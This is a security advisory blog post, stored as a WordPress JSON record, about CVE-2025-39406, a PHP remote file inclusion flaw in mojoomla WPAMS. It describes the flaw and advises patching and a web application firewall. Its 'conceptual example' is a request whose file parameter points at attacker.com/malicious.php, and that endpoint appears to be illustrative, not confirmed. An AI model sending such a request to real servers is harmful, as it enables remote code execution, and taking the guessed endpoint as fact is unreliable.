{"id":44774,"date":"2025-05-26T23:49:33","date_gmt":"2025-05-26T23:49:33","guid":{"rendered":""},"modified":"2025-07-06T23:19:12","modified_gmt":"2025-07-07T05:19:12","slug":"cve-2025-39406-high-risk-php-remote-file-inclusion-vulnerability-in-wpams","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39406-high-risk-php-remote-file-inclusion-vulnerability-in-wpams\/","title":{"rendered":"CVE-2025-39406: High-Risk PHP Remote File Inclusion Vulnerability in WPAMS<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

In this blog post, we will delve into the details of a newly discovered high-risk vulnerability, CVE-2025-39406. This vulnerability has been found in mojoomla’s WPAMS and directly affects PHP programming. It’s a PHP Remote File Inclusion vulnerability<\/a>, which, if exploited, could lead to a complete system compromise or significant data leakage. This vulnerability poses a significant threat given the widespread use of PHP<\/a> in web development and the popularity of the WPAMS software.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-39406
\nSeverity: High (9.8\/10)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise or data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

mojoomla WPAMS | n\/a through 44.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

This vulnerability stems from an improper control<\/a> of a filename for an Include\/Require statement in a PHP program, specifically within the mojoomla WPAMS software. This improper control allows for a PHP Remote File Inclusion<\/a>, which means an attacker could manipulate the filename to include a file from a remote server. This file could contain malicious script that is executed on the host server, potentially leading to a system<\/a> compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

In a potential exploitation scenario, an attacker might send a malicious HTTP request to a vulnerable<\/a> endpoint like this:<\/p>\n

GET \/wpams.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n
In this example, the ‘file’ parameter is manipulated to include a PHP file from the attacker’s server (‘http:\/\/attacker.com\/malicious.php’<\/a>).<\/p>\n
Recommendations for Mitigation<\/strong><\/p>\n
To mitigate this vulnerability, it is recommended to apply the patch provided by the vendor as soon as it is available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploit attempts. Regularly updating and patching software, along with implementing secure coding practices, can also help protect against such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
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